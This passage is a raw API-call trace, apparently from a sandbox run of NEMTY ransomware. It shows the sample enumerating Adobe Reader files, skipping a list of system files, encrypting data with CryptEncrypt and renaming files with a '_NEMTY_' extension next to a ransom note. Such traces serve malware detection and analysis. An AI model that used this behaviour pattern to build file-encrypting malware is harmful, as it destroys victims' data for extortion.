lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0178.750] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0178.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.750] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.750] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0178.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0178.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0178.751] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services.asfx", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services.asfx", lpUsedDefaultChar=0x0) returned 13 [0178.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0178.751] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.751] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0178.751] Sleep (dwMilliseconds=0x5) [0178.766] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1e31f0d0, dwHighDateTime=0x1d561e8)) [0178.766] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x1e31f0d0, dwHighDateTime=0x1d561e8)) [0178.766] GetLastError () returned 0x0 [0178.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.766] GetLastError () returned 0x0 [0178.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.766] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0178.766] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0178.766] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0178.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0178.766] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="sy7jujNaYQM83wew+rhBI+oKYCjf/dT6xNfy1o4crEi65jW5I/g81ARuaxysL6Xz\r\newqrmdcRkI3pdIqOa0P25fFTl++U4TtrES6JXhl+uCOsXI5ExGP74xTvYN8KEK7U\r\nGlLFX7HkupHYfpmVFMlfvEjRhyd3N6uv9x/pnbTmjxKYtwGf0XiOggDAmjn/VrdW\r\neeSAjmwWuigl/0ZLZKTFjrWhrpmdNbzO5DQLnUWC5sQdxoqRr/+j+GBaWvF8XFLu\r\nHNhe+Af6py0GCet2rjvj972XVwbLAAsXNwCucKarbHXZUYDZMacYv2ZXM6m6eRRd\r\nNs9N/2f7hQmfj8xQMLRZjA==\r\n", pcchString=0x653e29c) returned 1 [0178.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0178.766] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.766] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0178.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.767] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\services\\services.asfx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0178.767] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=231) returned 1 [0178.767] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe0) returned 0x6340270 [0178.767] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.767] ReadFile (in: hFile=0x2f0, lpBuffer=0x6340270, nNumberOfBytesToRead=0xe0, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesRead=0x653e4e4*=0xe0, lpOverlapped=0x0) returned 1 [0178.768] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.768] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340270*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340270*, lpNumberOfBytesWritten=0x653e4dc*=0xe0, lpOverlapped=0x0) returned 1 [0178.768] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0178.768] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=231, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe7 [0178.768] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0178.768] CloseHandle (hObject=0x2f0) returned 1 [0178.768] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0178.768] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.769] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0178.769] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0178.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0178.769] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.769] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\it_IT\\Services\\Services.asfx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\it_it\\services\\services.asfx._nemty_kgobjgd_")) returned 1 [0178.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0178.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0178.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0178.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.770] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.770] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e2d2e10, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1e2d2e10, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1e2d2e10, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0178.770] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2=".") returned 1 [0178.770] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="..") returned 1 [0178.770] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="...") returned 1 [0178.770] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="windows") returned -1 [0178.770] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="$RECYCLE.BIN") returned 1 [0178.770] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="rsa") returned -1 [0178.770] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="NTDETECT.COM") returned -1 [0178.770] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0178.770] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0178.770] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0178.770] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0178.770] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0178.770] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0178.771] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0178.771] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0178.771] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0178.771] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0178.771] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0178.771] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0178.771] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0178.771] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0178.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.771] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0178.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.771] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0178.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0178.771] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0178.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.771] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0178.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0178.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.771] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0178.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.771] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ecb8, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0178.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.771] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0178.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.771] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0178.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.771] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340048 [0178.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.771] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.772] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.772] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e2d2e10, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x1e2d2e10, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x1e2d2e10, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0178.772] FindClose (in: hFindFile=0x3423af0 | out: hFindFile=0x3423af0) returned 1 [0178.772] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.772] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0178.772] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0178.772] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Spelling.ITA", cAlternateFileName="")) returned 1 [0178.772] lstrcmpiW (lpString1="Spelling.ITA", lpString2=".") returned 1 [0178.772] lstrcmpiW (lpString1="Spelling.ITA", lpString2="..") returned 1 [0178.772] lstrcmpiW (lpString1="Spelling.ITA", lpString2="...") returned 1 [0178.772] lstrcmpiW (lpString1="Spelling.ITA", lpString2="windows") returned -1 [0178.772] lstrcmpiW (lpString1="Spelling.ITA", lpString2="$RECYCLE.BIN") returned 1 [0178.772] lstrcmpiW (lpString1="Spelling.ITA", lpString2="rsa") returned 1 [0178.772] lstrcmpiW (lpString1="Spelling.ITA", lpString2="NTDETECT.COM") returned 1 [0178.772] lstrcmpiW (lpString1="Spelling.ITA", lpString2="ntldr") returned 1 [0178.772] lstrcmpiW (lpString1="Spelling.ITA", lpString2="MSDOS.SYS") returned 1 [0178.772] lstrcmpiW (lpString1="Spelling.ITA", lpString2="IO.SYS") returned 1 [0178.772] lstrcmpiW (lpString1="Spelling.ITA", lpString2="boot.ini") returned 1 [0178.772] lstrcmpiW (lpString1="Spelling.ITA", lpString2="boot.ini") returned 1 [0178.772] lstrcmpiW (lpString1="Spelling.ITA", lpString2="AUTOEXEC.BAT") returned 1 [0178.772] lstrcmpiW (lpString1="Spelling.ITA", lpString2="ntuser.dat") returned 1 [0178.772] lstrcmpiW (lpString1="Spelling.ITA", lpString2="desktop.ini") returned 1 [0178.772] lstrcmpiW (lpString1="Spelling.ITA", lpString2="CONFIG.SYS") returned 1 [0178.772] lstrcmpiW (lpString1="Spelling.ITA", lpString2="RECYCLER") returned 1 [0178.772] lstrcmpiW (lpString1="Spelling.ITA", lpString2="BOOTSECT.BAK") returned 1 [0178.772] lstrcmpiW (lpString1="Spelling.ITA", lpString2="bootmgr") returned 1 [0178.772] lstrcmpiW (lpString1="Spelling.ITA", lpString2="programdata") returned 1 [0178.772] lstrcmpiW (lpString1="Spelling.ITA", lpString2="appdata") returned 1 [0178.772] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.ITA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.772] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.ITA", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.ITA", lpUsedDefaultChar=0x0) returned 12 [0178.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.773] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.ITA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.773] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.ITA", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.ITA", lpUsedDefaultChar=0x0) returned 12 [0178.773] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.773] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.773] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.ITA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.773] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.ITA", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.ITA", lpUsedDefaultChar=0x0) returned 12 [0178.773] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.773] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.ITA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0178.773] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Spelling.ITA", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Spelling.ITA", lpUsedDefaultChar=0x0) returned 12 [0178.773] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.773] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0178.773] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0178.773] Sleep (dwMilliseconds=0x5) [0178.774] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e345230, dwHighDateTime=0x1d561e8)) [0178.774] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1e345230, dwHighDateTime=0x1d561e8)) [0178.774] GetLastError () returned 0x12 [0178.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.774] GetLastError () returned 0x12 [0178.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.774] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.774] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.774] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.774] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.774] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.774] RtlAllocateHeap 